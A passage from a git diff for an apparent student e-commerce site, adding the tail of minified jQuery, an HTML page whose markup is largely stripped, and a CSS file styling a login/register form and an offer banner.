(w.lastModified[o] && + E.setRequestHeader("If-Modified-Since", w.lastModified[o]), + w.etag[o] && E.setRequestHeader("If-None-Match", w.etag[o])), + ((h.data && h.hasContent && !1 !== h.contentType) || n.contentType) && + E.setRequestHeader("Content-Type", h.contentType), + E.setRequestHeader( + "Accept", + h.dataTypes[0] && h.accepts[h.dataTypes[0]] + ? h.accepts[h.dataTypes[0]] + + ("*" !== h.dataTypes[0] ? ", " + $t + "; q=0.01" : "") + : h.accepts["*"] + ); + for (p in h.headers) E.setRequestHeader(p, h.headers[p]); + if (h.beforeSend && (!1 === h.beforeSend.call(g, E, h) || c)) + return E.abort(); + if ( + ((C = "abort"), + m.add(h.complete), + E.done(h.success), + E.fail(h.error), + (i = _t(Wt, h, n, E))) + ) { + if (((E.readyState = 1), f && y.trigger("ajaxSend", [E, h]), c)) + return E; + h.async && + h.timeout > 0 && + (u = e.setTimeout(function () { + E.abort("timeout"); + }, h.timeout)); + try { + (c = !1), i.send(b, k); + } catch (e) { + if (c) throw e; + k(-1, e); + } + } else k(-1, "No Transport"); + function k(t, n, r, s) { + var l, + p, + d, + b, + T, + C = n; + c || + ((c = !0), + u && e.clearTimeout(u), + (i = void 0), + (a = s || ""), + (E.readyState = t > 0 ? 4 : 0), + (l = (t >= 200 && t < 300) || 304 === t), + r && (b = Xt(h, E, r)), + (b = Ut(h, b, E, l)), + l + ? (h.ifModified && + ((T = E.getResponseHeader("Last-Modified")) && + (w.lastModified[o] = T), + (T = E.getResponseHeader("etag")) && (w.etag[o] = T)), + 204 === t || "HEAD" === h.type + ? (C = "nocontent") + : 304 === t + ? (C = "notmodified") + : ((C = b.state), (p = b.data), (l = !(d = b.error)))) + : ((d = C), (!t && C) || ((C = "error"), t < 0 && (t = 0))), + (E.status = t), + (E.statusText = (n || C) + ""), + l ? v.resolveWith(g, [p, C, E]) : v.rejectWith(g, [E, C, d]), + E.statusCode(x), + (x = void 0), + f && y.trigger(l ? "ajaxSuccess" : "ajaxError", [E, h, l ? p : d]), + m.fireWith(g, [E, C]), + f && + (y.trigger("ajaxComplete", [E, h]), + --w.active || w.event.trigger("ajaxStop"))); + } + return E; + }, + getJSON: function (e, t, n) { + return w.get(e, t, n, "json"); + }, + getScript: function (e, t) { + return w.get(e, void 0, t, "script"); + }, + }), + w.each(["get", "post"], function (e, t) { + w[t] = function (e, n, r, i) { + return ( + g(n) && ((i = i || r), (r = n), (n = void 0)), + w.ajax( + w.extend( + { url: e, type: t, dataType: i, data: n, success: r }, + w.isPlainObject(e) && e + ) + ) + ); + }; + }), + (w._evalUrl = function (e) { + return w.ajax({ + url: e, + type: "GET", + dataType: "script", + cache: !0, + async: !1, + global: !1, + throws: !0, + }); + }), + w.fn.extend({ + wrapAll: function (e) { + var t; + return ( + this[0] && + (g(e) && (e = e.call(this[0])), + (t = w(e, this[0].ownerDocument).eq(0).clone(!0)), + this[0].parentNode && t.insertBefore(this[0]), + t + .map(function () { + var e = this; + while (e.firstElementChild) e = e.firstElementChild; + return e; + }) + .append(this)), + this + ); + }, + wrapInner: function (e) { + return g(e) + ? this.each(function (t) { + w(this).wrapInner(e.call(this, t)); + }) + : this.each(function () { + var t = w(this), + n = t.contents(); + n.length ? n.wrapAll(e) : t.append(e); + }); + }, + wrap: function (e) { + var t = g(e); + return this.each(function (n) { + w(this).wrapAll(t ? e.call(this, n) : e); + }); + }, + unwrap: function (e) { + return ( + this.parent(e) + .not("body") + .each(function () { + w(this).replaceWith(this.childNodes); + }), + this + ); + }, + }), + (w.expr.pseudos.hidden = function (e) { + return !w.expr.pseudos.visible(e); + }), + (w.expr.pseudos.visible = function (e) { + return !!(e.offsetWidth || e.offsetHeight || e.getClientRects().length); + }), + (w.ajaxSettings.xhr = function () { + try { + return new e.XMLHttpRequest(); + } catch (e) {} + }); + var Vt = { 0: 200, 1223: 204 }, + Gt = w.ajaxSettings.xhr(); + (h.cors = !!Gt && "withCredentials" in Gt), + (h.ajax = Gt = !!Gt), + w.ajaxTransport(function (t) { + var n, r; + if (h.cors || (Gt && !t.crossDomain)) + return { + send: function (i, o) { + var a, + s = t.xhr(); + if ( + (s.open(t.type, t.url, t.async, t.username, t.password), + t.xhrFields) + ) + for (a in t.xhrFields) s[a] = t.xhrFields[a]; + t.mimeType && s.overrideMimeType && s.overrideMimeType(t.mimeType), + t.crossDomain || + i["X-Requested-With"] || + (i["X-Requested-With"] = "XMLHttpRequest"); + for (a in i) s.setRequestHeader(a, i[a]); + (n = function (e) { + return function () { + n && + ((n = + r = + s.onload = + s.onerror = + s.onabort = + s.ontimeout = + s.onreadystatechange = + null), + "abort" === e + ? s.abort() + : "error" === e + ? "number" != typeof s.status + ? o(0, "error") + : o(s.status, s.statusText) + : o( + Vt[s.status] || s.status, + s.statusText, + "text" !== (s.responseType || "text") || + "string" != typeof s.responseText + ? { binary: s.response } + : { text: s.responseText }, + s.getAllResponseHeaders() + )); + }; + }), + (s.onload = n()), + (r = s.onerror = s.ontimeout = n("error")), + void 0 !== s.onabort + ? (s.onabort = r) + : (s.onreadystatechange = function () { + 4 === s.readyState && + e.setTimeout(function () { + n && r(); + }); + }), + (n = n("abort")); + try { + s.send((t.hasContent && t.data) || null); + } catch (e) { + if (n) throw e; + } + }, + abort: function () { + n && n(); + }, + }; + }), + w.ajaxPrefilter(function (e) { + e.crossDomain && (e.contents.script = !1); + }), + w.ajaxSetup({ + accepts: { + script: + "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript", + }, + contents: { script: /\b(?:java|ecma)script\b/ }, + converters: { + "text script": function (e) { + return w.globalEval(e), e; + }, + }, + }), + w.ajaxPrefilter("script", function (e) { + void 0 === e.cache && (e.cache = !1), e.crossDomain && (e.type = "GET"); + }), + w.ajaxTransport("script", function (e) { + if (e.crossDomain) { + var t, n; + return { + send: function (i, o) { + (t = w(" + + + + + +
    +
    #
    +
    + + +
    + +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + \ No newline at end of file diff --git a/E-commerce website/logincss.css b/E-commerce website/logincss.css new file mode 100644 index 0000000..f5536a6 --- /dev/null +++ b/E-commerce website/logincss.css @@ -0,0 +1,142 @@ +/* ----------------Account-Page ---------- */ +.account-page { + /* border: 2px solid white; */ + width: 60vw; + +} + +.form-container { + /* border: 5px solid rgb(13, 13, 13); */ + border-radius: 10px; + background: #fff; + width: 300px; + height: 450px; + margin: 0 150px; + text-align: center; + position: relative; + overflow: hidden; + /* to hide one form login or register */ +} + +.form-container span { + margin: 5px 0px; + font-weight: bold; + font-size: medium; + padding: 0 10px; + color: #555; + cursor: pointer; + width: 100px; + display: inline-block; +} + +.form-btn { + display: inline-block; +} + +.btn { + display: inline-block; + background-color: #64362f; + color: #fff; + padding: 8px 30px; + margin: 30px 0px; + border-radius: 30px; + transition: background 0.5s; +} + +.form-container form { + max-width: 300px; + padding: 0 20px; + position: absolute; + top: 130px; + transition: transform 1s; + +} + +form input { + width: 100%; + height: 30px; + margin: 10px 0; + padding: 0 10px; + border: 1px solid #999; +} + +form .btn { + width: 100%; + border: none; + cursor: pointer; + margin: 15px 0; +} + +form .btn:focus { + outline: none; +} + +#LoginForm { + left: -300px; + +} + +#RegForm { + left: 0; +} + +form a { + font-size: 12px; +} + + +#Indicator { + width: 100px; + border: none; + background: #64362f; + height: 3px; + margin: 9px; + transform: translateX(100px); +} +#Indicator{ + width: 80px; + border:none; + background:#64362f; + height: 3px; + margin-left: 5px; + margin-top: -5px; + transform: translateX(110px); + transition: transform 1s; + +} + + + +/*------ offer------ */ +.offer{ + background-color: #996b64; +} +.offer .row { + display: flex; + justify-content: center; +} +.jacket +{ + width: 30%; + +} +.offertext { + width: 30%; + +} +.offertext p{ + text-align: center; + padding: 12px; + font-size: 20px; + color: #d2cfcf; +} +.offertext h1{ + text-align: center; + font-size: 45px; + color: #64362f; +} +.offertext a +{ + display: flex; + justify-content: center; +}